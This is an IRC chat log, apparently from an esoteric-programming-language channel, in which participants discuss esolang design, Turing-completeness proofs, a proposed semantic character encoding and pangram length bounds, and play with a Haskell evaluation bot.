21:10:23  see already you're not putting yourself in the shoes of the average joe. no average joe would say "cyclic tag is an excellent default". The average joe would say "Java" or "Python" or "C#" or "C++"
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21:12:25  the average joe would go "wow jeez tapes and symbols" shortly but adapt to the simplistic nature of things pretty easily, i feel
21:12:53  (and then give up and say "this thing is way, way too simple to compute anything" instead of persevering and proving the thingy)
21:13:07  the average joe would say "wow jeezz tapes and symbols. weird, but i have a project due, so i'll just forget it"
21:13:08  hauris
21:13:18  quintopia: yeah, exactly
21:13:36  hiii ʃaxaf
21:13:55  maurhis
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21:14:15  quintopia: well you wouldn't expect someone to solve the problem if they were starting from a completely inappropriate starting point
21:14:25  although, I started by trying to prove it Turing-incomplete
21:14:41  and then analysed why the proofs weren't working to figure out what approach to take
21:15:22  quintopia: but people in my "computability + automata + turing machines + whatever" course seemed not immediately frustrated with how simple automata/TMs are, when having to design them; then again, the things they had to design or the properties they had to reason about were much simpler
21:16:15  Relatively ordered set? One where some objects have positions relative to others, but there's no overarching order (or if there is, it's expressed by rules)
21:16:40  well esodesign and esoprogramming aren't quite the same skill, although there's a lot of overlap
21:16:41  hppavilion[1]: that's a poset! https://en.wikipedia.org/wiki/Partially_ordered_set
21:16:49  Yay!
21:16:50  (or is it?)
21:16:55  I think it is.
21:16:59  Maybe
21:17:02  Subtly different
21:17:10  esodesign's a bit like game design; you're making a puzzle to solve, and need to understand how people will/can go about solving it
21:17:26  the difference is that it's up to you how easy or difficult to make it, it's OK if you don't expect the puzzle to be solved ever
21:17:39  because there's no implicit "this is solvable" warranty
21:18:17  i've always been bad at coming up with the "puzzles" because i'm also really bad at solving them
21:19:09  hmm, "start with the solution and work backwards" is a common advice for that in game design, but it doesn't really work with esolangs
21:19:14  i suppose you have to aim nicely between "trivially powerful" and "too simple to do anything", but from my perspective, everything is either one of those things
21:19:39  I worked on Arithmetic of the Functia and it was really fun, so now I'm looking for something fun like that to work on. That's why I attempted to make Esonums
21:19:42  i dunno, i feel like lots of esolangs might have started as: "i want a programming language in which programming in it involves..."
21:21:44  the "solution" is that technique. and a well-designed esolang obscures this technique to make itself look useless
21:21:48  ais523: have you seen http://codegolf.stackexchange.com/questions/61804/create-a-programming-language-that-only-appears-to-be-unusable ?
21:22:13  no, I don't follow PPCG, and generally rely on people linking it to me
21:22:25  some of the threads there are brilliant and really worth reading but most are just bad
21:22:35  so thanks for linking me to the interesting ones :-)
21:22:38  they gamified esolang creation in exactly the way you described!
21:22:57  indeed, although their languages also have to take input
21:23:01  there's also a thread about "create an esolang that's good at matching 2D patterns"
21:23:04  i had a good idea, but no time to implement it
21:23:05  that was interesting
21:25:00  there's also a thread on meta that seems targeted toward pretty much replicatng the Language list
21:25:34  heh, I noticed that the first one was based on some sort of cube with partial rotations (Rubik's cube style) before the author mentioned it
21:25:38  Ugh...
21:25:41  which functional language has the shortest procedural interpreter?
21:25:56  I can't do Functia Matrices because I don't yet have function addition
21:26:10  Anyone have any ideas?
21:26:48  function addition is well-defined
21:26:58  f+g(x)=f(x)+g(x) for all x
21:27:21  quintopia: Oh. 
21:27:26  (f+g)(x)?
21:27:32  quintopia: that's one well-definition
21:28:07  the Underlambda definition is along the lines of (f+g)(x) = f(x) composed with g(x)
21:28:17  Oh, it looks like that's poplular, but that won't work
21:28:23  Oooh, underlambda's looks nice
21:28:24  although it's more precise because it allows for the possibility that f and g might take weird numbers of arguments
21:28:48  ais523: Should I use underlambda's definition? That might be good
21:28:59  Either that or I'll use Kleene addition
21:29:22  hppavilion[1]: well in Underlamda, function application is exponentiation, and composition is multiplication, so we have x**(f+g) = x**f * x**g
21:29:36  ais523: Yep, that works.
21:29:37  the definition of addition follows logically from that of multiplication and exponentiation
21:29:45  OK
21:29:49  (which is the reverse of the way most people define it, but…)
21:30:42  ais523: he was using composition=multiplication before
21:31:07  quintopia: I thought he was using application=multiplication?
21:31:34  maybe i'm confused of the differene
21:31:35  or, hmm, I don't actually know what pronoun to use for hppavilion[1], was juts copying yours
21:34:21  I have made computer puzzle games that are programmed to start with final position and work backward to create the puzzle by using seeded pseudorandom numbers
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21:36:08  that's one way to do it
21:36:16  haha, one of them is actually a game and not a language, if you win the game then the interpreter calculates and prints the expected output itself
21:37:08  sounds devious
21:37:22  and
21:37:27  maybe slightly against the spirit
21:38:32  indeed, it was mostly a protest against a mistake in the challenge spec
21:38:41  I wonder if Three Star Programmer predates or postdates that contest?
21:39:02  certainly, a version that took input would postdate because I haven't figured out how to do input in a way that remotely fits the spirit of the language yet
21:40:07  what is supposed to be output?
21:41:33  quintopia: in what, mauris's link? third-largest number in the input
21:44:42  I should enter Purple in the contest
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22:09:22  [wiki] [[TOGA computer]]  http://esolangs.org/w/index.php?diff=45610&oldid=39598 * Ais523 * (-33) you can't call something TC if it only has finite memory, and this definitely only has finite memory
22:09:30  lol
22:11:29  [wiki] [[OISC]]  http://esolangs.org/w/index.php?diff=45611&oldid=45317 * Ais523 * (+1783) /* List of OISCs */ an OISC can be described via its instruction + its memory mapping and addressing behaviour, so may as well put that information here rather than forcing people to read the individual pages
22:11:39  there, been meaning to do that for a few days now
22:11:51  two of them are redlinks so I couldn't check
22:12:13  also it surprises me how simple Three Star Programmer is compared to the others
22:12:16  I thought it'd be more complex
22:13:08  it certainly doesn't work much like the others
22:13:23  e.g. only finitely many addresses can be read infinitely many times, the rest of memory can only be read finitely many times each
22:16:40  actually I'm currently trying to work out how to write a hello world in Three Star Programmer that isn't obnoxiously long
22:17:11  I suspect I'll have to use multiple nested loops in order to avoid having to unary the entire ASCII space for every character
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22:23:54  btw, my notes on compiling cyclic tag to three star programmer are here: http://nethack4.org/pastebin/cytag-to-3*.pl
22:24:03  it should be pretty easy to write the compiler based on that
22:24:09  /testing/ it is another matter, though
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22:27:34  you'd want a better 3* interpreter, and probably some way to get the construction to produce output (which makes it substantially more complex)
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23:47:00  So I had an idea
23:47:05  SCEML
23:47:14  Semantic Character Encoding and Markup Language
23:47:58  "A character encoding in every way worse than unicode, except for a few niche uses"
23:48:22  "(Also, incredibly difficult to make fonts for)"
23:51:06 -!- mauris has quit (Ping timeout: 255 seconds).
23:52:43  It wouldn't have the linguistic benefits (e.g. supporting every language ever) of unicode, but it would have some benefits for characters like mathematical operators and arrows
23:53:06  Specifically, that they're generated semantically instead of being a big lookup table
23:54:58  For example, if there were a typable language for generating SCEML documents, you could type \(COMB:SUBSET, RING) to generate the open subset operator
23:55:14  And that would become a list of codepoints with a semantic meaning
23:56:15  \oren\: What do you think?
23:58:17  No?

2015-11-24:

00:08:10 -!- oerjan has joined.
00:16:12  It'd be funny if, in mathematics, we preceeded all exact numbers with "≁" for "not approximately"
00:17:11  hilarious
00:17:39  i think that symbol generally goes the other way, though.
00:22:37  Approximately not equla to
00:22:59  Mathematica prefixes high-precision decimal literals with `.
00:25:03  mathematica does a lot of things
00:25:08  occasionally they make sense
00:25:33  Taneb must've invented those.
00:25:48  CReal has an approximately-not-equal-to operator.
00:26:07  > 1 == (1 + 10^(-1000) :: CReal)
00:26:09   *Exception: Negative exponent
00:26:16  > 1 == (1 + 10**(-1000) :: CReal)
00:26:18   True
00:26:36  Er wait
00:26:44  Jafet: I totally wasn't planning on implementing that into Kastor
00:26:57  (approximately-not-equal-to, that is)
00:27:07  Also, I'm sorry, "exception: Negative exponent"!?
00:28:29  @src (^)
00:28:29  x ^ 0            =  1
00:28:29  x ^ n | n > 0    =  f x (n-1) x
00:28:29    where f _ 0 y = y
00:28:29          f x n y = g x n
00:28:29            where g x n | even n    = g (x*x) (n `quot` 2)
00:28:31                        | otherwise = f x (n-1) (x*y)
00:28:33  _ ^ _            = error "Prelude.^: negative exponent"
00:32:13  :t (^)
00:32:15  (Integral b, Num a) => a -> b -> a
00:32:29  hppavilion[1]: that type means a doesn't need to have division
00:32:39  Ah
00:33:03  Haskell has at least three exponentiation operators
00:33:07  :t (^^)
00:33:08  (Fractional a, Integral b) => a -> b -> a
00:33:13  :t (**)
00:33:15  Floating a => a -> a -> a
00:33:40  whoa whoa whoa
00:33:59   I,I newtype Foo a = Foo { unFoo :: a }; instance Monoid a => Num (Foo a) where Foo x * Foo y = Foo (x <> y); fromInteger 1 = Foo mempty; timesN n = unFoo . (^ n) . Foo
00:34:36  Num from the revelation
00:35:55 * oerjan thinks base should have the Monoid equivalent of (^) :(
00:37:24  @typo (mconcat.).replicate
00:37:26  Monoid c => Int -> c -> c
00:37:40  doesn't count, it doesn't do binary bisection
00:38:17  oerjan: it does with just a small Num instance hth
00:39:07  ooh you were doing it in that direction
00:40:37  ititdh
00:48:37 <\oren\> good eeing
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01:20:40  oerjan: I think I'm going to make a character encoding. A /semantic/ character encoding
01:22:10  hppavilion[1]: https://tools.ietf.org/html/rfc5242 ?
01:22:18  OKAY
01:28:00  lifthrasiir: I know about Unicode (and I assume that that document is related)
01:28:10  I just feel like making my own for fun.
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01:28:40  hppavilion[1]: read it first then retry.
01:29:29  lifthrasiir: It looks lnog
01:29:33  *long
01:29:59  hppavilion[1]: probably you should look at the date first :)
01:30:17  Oh xD
01:30:26  it's an "alternative" to Unicode that is exclusively described as a series of combining glyphs
01:30:46  (similar to Unicode's real system, Ideographic Description Sequence, but extended to *every* letter)
01:31:40 <\oren\> that's not semantic though
01:32:01  well, yeah.
01:32:13 <\oren\> semantic would encode "cat" and "猫" to the same code
01:32:34  \oren\: but not a program "cat".
01:33:15 <\oren\> right. as well as "gato" and "chat" and "catus"
01:33:16  what would it encode "pooch" to?
01:33:25  lifthrasiir: What I'm making is a sort of hybrid of character encoding and markup language
01:33:49 <\oren\> shachaf: depends what pooch means
01:34:11  Basically, if there were a language that generates documents in this encoding, you could type \(COMB:SUBSET,RING) to get the "open subset" operator
01:34:26  What about "dog"?
01:34:36 <\oren\> that's not semantic, it's exactly opposite
01:34:45  "chien"? "cabot"?
01:34:45  \oren\: Oh.
01:34:48  the (fictitious) modernized TeX comes to mind.
01:35:05 <\oren\> you're encoding form, not substance
01:35:08  \oren\: What's the word I'm looking for then?
01:35:10  Ah
01:35:26  The idea would be that character appearance is defined with a process of combining diacritics and variables, instead of just text 
01:35:46  So you could also do things like declare that characters have arcs between each other
01:35:54  The crowning jewel of the idea is arrows
01:36:05 <\oren\> "morphic"
01:36:07  Arrow characters actually work: any arrow is possible
01:36:08  Ah
01:37:28  So you aren't just limited to, for example, dashed arrows only come in up/down/left/right
01:39:37  Because you just combine the dashed arrow and diagonal arrow characters in in a COMBINE block, which is delimited by control bracktets and starts with "COMB" then the control separator
01:45:11 -!- bb010g has joined.
02:14:41  2/|\2
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02:45:31  hellauris
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03:14:10  I thought of a hyperoperational version of factorial
03:14:35 -!- mauris has quit (Ping timeout: 264 seconds).
03:16:04  functional factorial
03:16:14  quintopia: Dammit.
03:16:17  or is that just recursion
03:16:56  Is functional factorial you asking me to implement factorial into the Arithmetic of the Functia (which is probably actually a calculus)?
03:17:12  i'm asking nothing
03:17:14  do what you like
03:19:29  Basically, n⥉ (where ⥉ is the hyperoperational factorial operator) is equal to H[n](n, H[n-1](n-1, H[n-2](n-2, ...H[1](1, 0)...))
03:19:39  It might just be ackermann xD
03:19:42  I can't tell
03:19:56  nah not really
03:21:35  Great
03:21:53  So now I want function factorial
03:22:24  To do so, I would need to define a + and - operation such that, if I do f-I enough times, then eventually it is equal to I. Is that possible?
03:22:28  For all functions?
03:22:43  well
03:22:49  Or a large subset of functions which I could reasonably constrain myself to?
03:23:44  AND preferably consistent with normal addition and subtraction for the real number subset of functions
03:23:58  FireFly: I've updated my font sample to support a realtime sample rendering of any given text
03:24:09  (a simple JS hack)
03:25:58  quintopia: It might not be possible for non-well-ordered sets, such as the set 𝕗 (which is a set I'm using)
03:26:30  (which isn't even partially ordered except for a subset of its arguments)
03:26:37  (s/arguments/elements)
03:26:59  (ms/s)/s\/)
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05:36:28  [wiki] [[UberGenes]]  http://esolangs.org/w/index.php?diff=45612&oldid=45579 * Quintopia * (-7) /* Python 2 */ furthergolfed
05:36:52  [wiki] [[UberGenes]]  http://esolangs.org/w/index.php?diff=45613&oldid=45612 * Quintopia * (+0) /* Python 2 */
05:43:21  @tell FreeFull  I wonder how much finangling was needed to produce this sentence <-- i guess you could do some kind of estimation, pruning and final search... i wonder if using "&" rather than "and" at the end was necessary.
05:43:22  Consider it noted.
05:54:53 -!- get52 has joined.
06:07:50  as a first step, find some hard limit on no. of letters in english numeral / number represented, for numbers large enough
06:08:19  1/27 should be enough for this
06:10:30 -!- \oren\ has quit (Ping timeout: 240 seconds).
06:10:50  seven hundred and seventy quadrillions
06:10:57  looks pretty solid :P
06:11:17  (777 gives the longest prefix)
06:11:27  who are you talking too 
06:11:45 -!- \oren\ has joined.
06:11:57  myself, about FreeFull's self-describing pangram
06:12:02  lol
06:12:07   "This pangram contains four As, one B, two Cs, one D, thirty Es, six Fs, five Gs, seven Hs, eleven Is, one J, one K, two Ls, two Ms, eighteen Ns, fifteen Os, two Ps, one Q, five Rs, twenty-seven Ss, eighteen Ts, two Us, seven Vs, eight Ws, two Xs, three Ys, & one Z."
06:12:14  oh I see
06:12:17  I wasn't there for that
06:12:25  thought I was missing out on something 
06:12:26  heh
06:12:35  actually i was just reading it in the logs
06:13:03  o
06:13:04  i'm trying to convince myself you can never get numbers above hundred
06:13:12  with that template
06:13:27  oh ye
06:13:56  because the names of numbers are just not long enough.
06:14:32  ah
06:14:39 <\oren\> what if you spell out the letter names like gee bee cee
06:14:42  > length "sevenhundredandseventythousand"
06:14:44   30
06:14:59  \oren\: i do not think that matters.
06:15:05 <\oren\> you might be able to get 100 e's
06:15:13  oh right
06:15:16  yes.
06:15:18  [wiki] [[UberGenes]]  http://esolangs.org/w/index.php?diff=45614&oldid=45613 * Quintopia * (+244) Implementation: bugfix: crash on EOF
06:15:26  ok.  but definitely not more than a thousand.
06:15:37  > 30/1000
06:15:39   3.0e-2
06:15:45  > 1000/30
06:15:47   33.333333333333336
06:16:01 <\oren\> > sqrt 1000
06:16:04   31.622776601683793
06:16:14  > 26*6
06:16:15   156
06:16:26  it's not really about sqrt
06:16:38  there are 26 letters, so at most 26 numerals
06:18:01  a numeral smaller than a million never has more than 30 letters.
06:18:45  and for those larger, the length still never gets above a small fraction of the number itself
06:20:48  oh wait
06:20:58  that's not quite right. forgot a part.
06:21:58  > length "sevenhundredandseventyseventhousandsevenhundredandseventyseven"
06:22:00   62
06:23:07  > length "sevenhundredandseventyseventhousand"
06:23:09   35
06:23:35  but multiplying by 1000 gets you only 35-40 more letters.
06:30:00  > length . group $ sort "sevenhundredandseventyseventhousand"
06:30:03   12
06:30:06  er
06:30:15  > map length . group $ sort "sevenhundredandseventyseventhousand"
06:30:18   [2,4,7,2,6,1,1,4,2,2,3,1]
06:30:37  7 es
06:33:31  > 1000/62
06:33:33   16.129032258064516
06:37:48  [wiki] [[UberGenes]]  http://esolangs.org/w/index.php?diff=45615&oldid=45614 * Quintopia * (+229) new features < and >
06:38:49 -!- hppavilion[1] has joined.
06:41:07  Unicode pangrams imo
06:41:52  O KAY
06:42:34  > 62*26
06:42:35   1612
06:42:41  2+2
06:42:45  > 2+2
06:42:46   4
06:42:49  yay
06:43:04  lambdabot knows its arithmetic
06:43:08  @botsnack
06:43:08  :)
06:43:12  > 420+69
06:43:14   489
06:43:42  > 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999*999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
06:43:44   9999999999999999999999999999999999999999999999999999999999999999999999999999...
06:43:48  lol
06:44:09  get52: lambdabot is too smart for you 
06:44:13  tbh yea
06:45:22 -!- Sprocklem has joined.
06:45:49  > let xs = 1:xs in xs
06:45:49  > 420+1337+69
06:45:50   [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1...
06:45:51   1826
06:45:57  > length "seventhousandsevenhundredandseventyseven"
06:45:59   40
06:46:05  > 26*40
06:46:07   1040
06:46:14  > length "wew lad"
06:46:16   7
06:46:33  hm just length is not enough to prove it doesn't exceed a thousand
06:47:17  what are you trying to do
06:48:14  > length "my penis"
06:48:16   8
06:48:20  thx fam
06:48:20  bounding the length of a pangram
06:48:32   "This pangram contains four As, one B, two Cs, one D, thirty Es, six Fs, five Gs, seven Hs, eleven Is, one J, one K, two Ls, two Ms, eighteen Ns, fifteen Os, two Ps, one Q, five Rs, twenty-seven Ss, eighteen Ts, two Us, seven Vs, eight Ws, two Xs, three Ys, & one Z."
06:48:36  > length "my penis" in inches
06:48:38   :1:19: parse error on input ‘in’
06:48:40  kek
06:48:55  get52: lambdabot is not google hth
06:49:15  lel\
06:49:21  get52: Try Wolfram|Alpha, it still might not know. Or better, use a ruler
06:49:33  heh
06:49:47  (Regardless whether you want the length of the string or of your penis)
06:49:59  lmao
06:50:01  (Although a length of a string of text in inches would depend on the font, isn't it?)
06:50:13  heh yeah
06:50:22 -!- aretecode has joined.
06:50:56  what's with all this
06:51:05  shachaf: get52 discovered lambdabot
06:51:29  and this channel
06:51:30  tbh yes
06:51:36  no bully pls
06:51:37  The lambdabot is run the Haskell code; you can learn Haskell programming and then you can understand its working.
06:51:59  > 20\\\\3
06:51:59  haskell isnt functional tbh fam
06:52:00   Not in scope: ‘\\\\’
06:52:05  Aww :(
06:52:14  I thought that was added. Does it get deleted automaticalyl?
06:52:50  get52: Can you elaborate on that? I do not quite understand.
06:53:13  well really it's so far away from common lisp that it's basically object oreiented
06:53:19  get52: I assume you've seen the wiki?
06:53:22  hppavilion[1]: it gets deleted when someone runs the @undefine command.
06:53:24  yes
06:53:38  @uptime
06:53:38  uptime: 10d 1h 1m 8s, longest uptime: 1m 10d 23h 44m 29s
06:53:38  get52: Common lisp isn't the definition of "Functional"
06:53:48  yes it is smh fam
06:53:59  or when it quits i assume, but it hasn't done that
06:53:59  get your head out of your ass
06:54:02  god damn
06:54:03  A language can be entirely unlike common lisp but still functional
06:54:06  no
06:54:14  e.g. unlambda iirc
06:54:19  that's not true tho
06:54:22  get52: please be polite
06:54:23  I think unlambda is functional
06:54:30  it's object oriented
06:54:30  Haskell is functional and pure, Lisp is functional and impure
06:54:37  ur mom is impure
06:54:38  smh
06:54:47 -!- ChanServ has set channel mode: +o oerjan.
06:54:54  Your mom**w is impure
06:54:54  get52: i said, please be polit.
06:54:57  *+e
06:55:14  mom**w?
06:55:27  get52: Surreal numbers. w is a surrogate little omega
06:55:33  It basically means infinity
06:55:35  oh I thought you were censoring yourself
06:55:39  I think it is not object oriented, although even if it is, it doesn't change it.
06:55:45  really i'm just fucking around
06:55:46  No xD. I don't self-censor
06:55:50  mom**1=mom
06:55:51  it's not object orient of course not 
06:55:55  lol
06:55:57  mom**2=grandmom
06:56:01  heh
06:56:05  mom**3=great-grandmom
06:56:07  <3
06:56:13  mom**w=great*-grandmom
06:56:29  but yeah i was just playing around lol
06:56:30  (Familial arithmetic might be interesting)
06:56:58   I came from the wiki btw
06:57:01  It is possible to be object oriented and functional, anyways.
06:57:05  Of course.
06:57:26  you guys seem quite a bit more knowledgeable then me heh
06:57:30  > let (\\\\) a b = a + (1/b)
06:57:31   : not an expression: ‘let (\\\\) a b = a + (1/b)’
06:57:40  I don't know haskell xD
06:57:47  me either tbh
06:57:49  get52: We've been here a while xD.
06:57:57  :^)
06:58:16 -!- oerjan has set channel mode: -o oerjan.
06:58:18  > (\\\\) a b = a + (1/b)
06:58:20   :1:12: parse error on input ‘=’
06:58:27  > a\\\\b = a + (1/b)
06:58:28  > fizzbuzz
06:58:29   :1:8: parse error on input ‘=’
06:58:29   Not in scope: ‘fizzbuzz’
06:58:30  hppavilion[1]: @let
06:58:40  Thank you!
06:58:48  @let a\\\\b = a + (1/b)
06:58:49   Defined.
06:58:54  It's the backslash operator
06:59:03  haskell is so unlike java, it can't be oop
06:59:15  i know
06:59:29  java is p gross tbh
06:59:32  get52: He was doing what you did earlier. It was funny
06:59:36  It is awul
06:59:38  *awful
06:59:44  lol
06:59:52  you can do oop in haskell but you'll get looked at weirdly
07:00:01  ma mum**e is awful
07:00:02  that sounds hilarious
07:00:17  (e=1/w)
07:00:25  (e is epsilon here)
07:01:01  (so mum**e=root(mum, w) )
07:01:35  > 10**w
07:01:37   10**w
07:01:40  oh
07:01:42  ok
07:01:47  get52: Haskell doesn't do surreals
07:01:47  > 10 + 1
07:01:49   11
07:01:59  i dont even know what i'm doing tbh
07:02:12  Do you like TeX? It is also so unlike Java..............
07:02:28  ur mom is unlike java :^)
07:02:35  because she's great
07:02:38  and kind
07:02:46  @let a~:^b = (a+b-b**2)*7/a
07:02:47   Defined.
07:02:56  13~:^7
07:03:04  > 10 := 11
07:03:05  > 13~:^7
07:03:07       Not in scope: data constructor ‘:=’
07:03:07       Perhaps you meant one of these:
07:03:07         ‘:+’ (imported from Data.Complex),
07:03:08   -15.615384615384615
07:03:39  > (0 :+ 1)^2 == -1
07:03:41   True
07:04:06  Wut
07:04:23  Oh
07:04:32  :+ is a complex number constructor
07:05:07  > 26*38
07:05:09   988
07:05:40  > 2^(0:+1)
07:05:42       Could not deduce (Integral (Complex a0)) arising from a use of ‘^’
07:05:42       from the context (Num a)
07:05:42         bound by the inferred type of it :: Num a => a at :1:1
07:05:48  > 10+20
07:05:50   30
07:05:52  > 2**(0:+1)
07:05:54   0.7692389013639721 :+ 0.6389612763136348
07:05:59  > chr(55)
07:06:01   '7'
07:06:03  Uh...
07:06:04  oh neat
07:06:14  > chr (69)
07:06:16  Htf does that work?
07:06:16   'E'
07:06:34  because lambdabot is running python
07:06:34  :^)
07:06:36  > chr(8601)
07:06:38   '\8601'
07:06:44  > unichr(8601)
07:06:46   Not in scope: ‘unichr’
07:06:51  > ord('l')
07:06:53   108
07:06:56  holy
07:06:57  > uchr(8601)
07:06:58       Not in scope: ‘uchr’
07:06:58       Perhaps you meant ‘chr’ (imported from Data.Char)
07:07:08  > ord('p')
07:07:10   112
07:07:12  > ord('λ')
07:07:14   955
07:07:16  woah
07:07:22  > chr(955)
07:07:24  nah, haskell just somehow chose the same names (Pascal used those too i think)
07:07:25   '\955'
07:07:50  i was going to say they're from Pascal but someone who knows Algol is just going to one-up me
07:07:52  oerjan: Aren't the python names straight outta C?
07:08:04  oh are they?
07:08:28  I assumed so, though C probably got them from somewhere else. Like Pascal.
07:08:28 * oerjan doesn't know C a third as well haskell these days.
07:08:44  How do I do unichr?
07:10:04  get52: I'm making a morphic character encoding
07:10:18  :D nice
07:10:21  what is it
07:10:32  hppavilion[1]: what's unichr? chr already does unicode.
07:10:41  what is morphic character encoding?
07:10:43  oerjan: Not in haskell, it appears
07:10:46  forgive me i'm new haha
07:10:48  > var $ chr 955
07:10:49       Couldn't match type ‘Char’ with ‘[Char]’
07:10:50       Expected type: String
07:10:50         Actual type: Char
07:10:52  oops
07:10:58  > var [chr 955]
07:11:00   λ
07:11:04  this what you wanted?
07:11:06  get52: It's a character enconing that's more than a lookup table
07:11:11  Yes.
07:11:16  OH yeah
07:11:17  nice
07:11:31  i'm making an esoteric lang atm
07:11:34  that's why i came here lol
07:11:37  Basically, you can do \(COM:SUBSET, RING) to get the open subset operator
07:11:41  Naturally xD
07:11:50  > [chr 955] -- this is shown as an escaped string, therefore only ASCII
07:11:52   "\955"
07:11:53  it has 3 commands 
07:12:02  (A marriage between a negative number of people is... UNNATURAL! LULZ!)
07:12:03  addition, display, input
07:12:15  you don't need subtraction because it resets at 251
07:12:17  :^)
07:12:20  :)
07:12:30  Sounds a bit like Deadfish
07:12:35  But not the same
07:12:52  lol good
07:13:01  was afraid I was doing exactly the same thing
07:13:03  for a second
07:13:04  haha
07:13:07  hppavilion[1]: http://www.mezzacotta.net/dinosaur/?comic=252
07:13:26  (from DMM's dinosaur comics fanfic)
07:14:50  also the commands are pretty much brainf*cks
07:15:03  get52: you'd need at least some kind of jump to be close to interesting
07:15:05  also not sure if I'm allowed to say f*ck here that's the only reason I censored myself
07:15:14  tbh I understand myname
07:15:28  sry for bothering u fam
07:15:28  myname: Or a clone commands thing. That works too
07:15:34  and ur patrician ways
07:15:40  ;^(
07:15:47  251 is an usual place to reset
07:15:49  im not worthy of ur presence :^)
07:15:52  `factor 251
07:15:53  m'lad
07:15:54  251: 251
07:16:01  prime too
07:16:05  Weird
07:16:23  i guess he meant 250 -> 0
07:16:34  in which case 251 being a prime is actually good
07:16:56  get52: we have nothing against saying brainfuck.  in fact i've been known to correct the spelling on the wiki.
07:16:56  whatever the name of this structure is in english
07:17:08  oh
07:17:10  okay
07:17:18  thx
07:17:35  IMHO, "Brainf*ck" is a curse word, but "Brainfuck" is not
07:17:44  Brainfiretruck
07:17:47  what's the english name for (M,+,*) with (M,+) and (M\{0},*) being groups?
07:18:09  I have NO idea. Is it a ring?
07:18:33  no, rings don't need two groups
07:18:39  Oh
07:18:42  Magma?
07:18:47  in german it's körper
07:18:54  which would translate into bod
07:18:56  body
07:18:59  myname: a field hth
07:19:04  ah!
07:19:07  Ah!
07:20:04  tdh
07:21:21  thank da Hubble [telescope]?
07:21:32  `tdh
07:21:32  ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tdh: not found
07:21:38  :(
07:21:41  `? tdh
07:21:44  tdh is the past tense of a successful hth. hth.
07:21:57  there you go
07:21:59  WHAT IS HTH THOUGH
07:22:02  `? hth
07:22:03  hth is help received from a hairy toe. It is not at all hambiguitous.
07:22:10  THAT WAS NOT HELPFUL
07:22:15  "hope that helps"
07:22:16  :D
07:22:20  THERE WE GO!
07:22:28  but then what the hell is tdh
07:22:40  one of my first encounters here was me cursing about monads
07:22:46  with the following respond
07:22:48  THANK THE HUBBLE!
07:22:50  `? monads
07:22:51  Monads are just free monad monad monad algebras.
07:22:55  As far as I am concerned it is irrelevant in these cases whether or not "brainfuck" is a curse word, although it seems that to Rosetta Code it is considered as a curse word.
07:22:59  HOPE THIS HELPS
07:23:00  according to UD, "tall dark and handsome"
07:23:11  wtf
07:23:26  bye sry if i wasnt interesting enough tbh im new
07:23:28 -!- get52 has left ("Leaving").
07:23:37  `? monad
07:23:38  Monads are just monoids in the category of endofunctors.
07:23:43  that one
07:23:55  UD has a (probably correct) definition of "too damn hilarious" at the *last* position
07:23:59  He was a very honest ("tbh") person.
07:24:02  wtf is wrong with `? monads
07:24:09  hm we're below 10% bots
07:24:17  in fact, below 9%
07:24:29  Whoa
07:24:33  lifthrasiir: that's not correct
07:24:42  itks that did help
07:24:48  myname: oh.
07:24:52  tdnh
07:25:12  myname: but to me that was much more plausible than other entries like teenage dickheads
07:25:24  lol
07:26:33  [wiki] [[Special:Log/newusers]] create  * Get52 *  New user account
07:26:42  myname: i suspect shachaf for `? monads
07:26:57  ?
07:27:05  `? monads
07:27:06  Monads are just free monad monad monad algebras.
07:27:07  `? ?
07:27:08  ​? is wisdom
07:27:09  shachaf: did you make this ^
07:27:17  `culprits wisdom/monad
07:27:19  shachaf elliott oerjan elliott Bike FreeFull ais523 ais523 oerjan Gregor shachaf oerjan FreeFull shachaf shachaf nitia
07:27:22  (I read that as "WHAT is wisdom")
07:27:27  shachaf: no, not that one
07:27:29  oerjan: I doubt it?
07:27:33  `culprits wisdom/monads
07:27:35  shachaf elliott oerjan elliott oerjan oerjan shachaf Phantom_Hoover Phantom_Hoover ais523 ais523 oerjan oerjan oerjan oerjan FreeFull shachaf shachaf nitia
07:27:38  Oh, that one.
07:27:42  That's possible.
07:27:57  Now I made up the other Magic: the Puzzling (puzzle.4) and you should test it please, because I may have done something wrong
07:28:10  `? `
07:28:12  ​` is the prefix to greatness.
07:28:19  zzo38: You should include a URL.
07:28:47  O, yes, I should include the absolute URL. It is:   http://zzo38computer.org/textfile/miscellaneous/magic_card/puzzle.4
07:29:19  (I thought you already knew what it was relative to, but perhaps not, I am a bit crazy)
07:29:28  zzo38: also, what kind of magic is possible with your dnd latex commands?
07:29:46  zzo38: I didn't know but I could find out, but that would be a lot more work than copying a complete URL.
07:30:07  It is used only with Plain TeX, I don't know if it can be used with LaTeX at all (and isn't meant to be)
07:30:21  zzo38: Is that a puzzle? It doesn't ask any questions.
07:30:24  interesting
07:30:33  and what does it do?
07:30:39  shachaf: "Win the game" is implied if not otherwise specified.
07:31:49  myname: A lot, including sorting the list of skills, keep track of multiple character sheets, calculate ECL, ask the user what printing level, and more
07:32:21  Look at the file to see what it is doing.
07:34:56  ah
07:35:01  shachaf: A few other things are also implied if not otherwise specified, such as irrelevant cards in other zones, irrelevant cards in graveyard can't be cast from graveyard, you have priority at the given situation, no unlisted effects are waiting to happen, and various other stuff.
07:35:24  imho the world needs more interactive character sheets
07:36:44 -!- heroux has quit (Ping timeout: 250 seconds).
07:36:59 -!- heroux has joined.
07:37:51  myname: It can keep track of inventory and spell lists and money, and can do footnotes and chapter headings and session headings, and so on. You can even see level20.tex to see the use of these macros.
07:38:00  > 9*26
07:38:01   234
07:38:27  This program isn't an interactive character sheet though; it is just partially automatic.
07:38:35 -!- hppavilion[1] has quit (Ping timeout: 264 seconds).
07:39:14  shachaf: Do you understand this puzzle at all?
07:39:20  Did I do it wrong?
07:39:40  (And do you understand my first three puzzles?)
07:39:45  I looked at it and I didn't know a lot of the cards.
07:39:51  ok not more than 400
07:39:53  So I decided it would probably be too much effort to understand.
07:41:08  shachaf: Cards in opponent's library can damage you, so don't worry to look up all of them; after all they are in a random order so even if you know Lightning Bolt that's enough.
07:41:31  oh wait brain fart
07:41:34  Other cards can be look up and then make the printout I suppose
07:41:36  > 10*26
07:41:38   260
07:41:45  still not
07:42:18  It is not difficult to look up; make the program to do it automatically if you want to (possibly at some time I might do such thing too)
07:45:59 -!- heroux has quit (Ping timeout: 246 seconds).
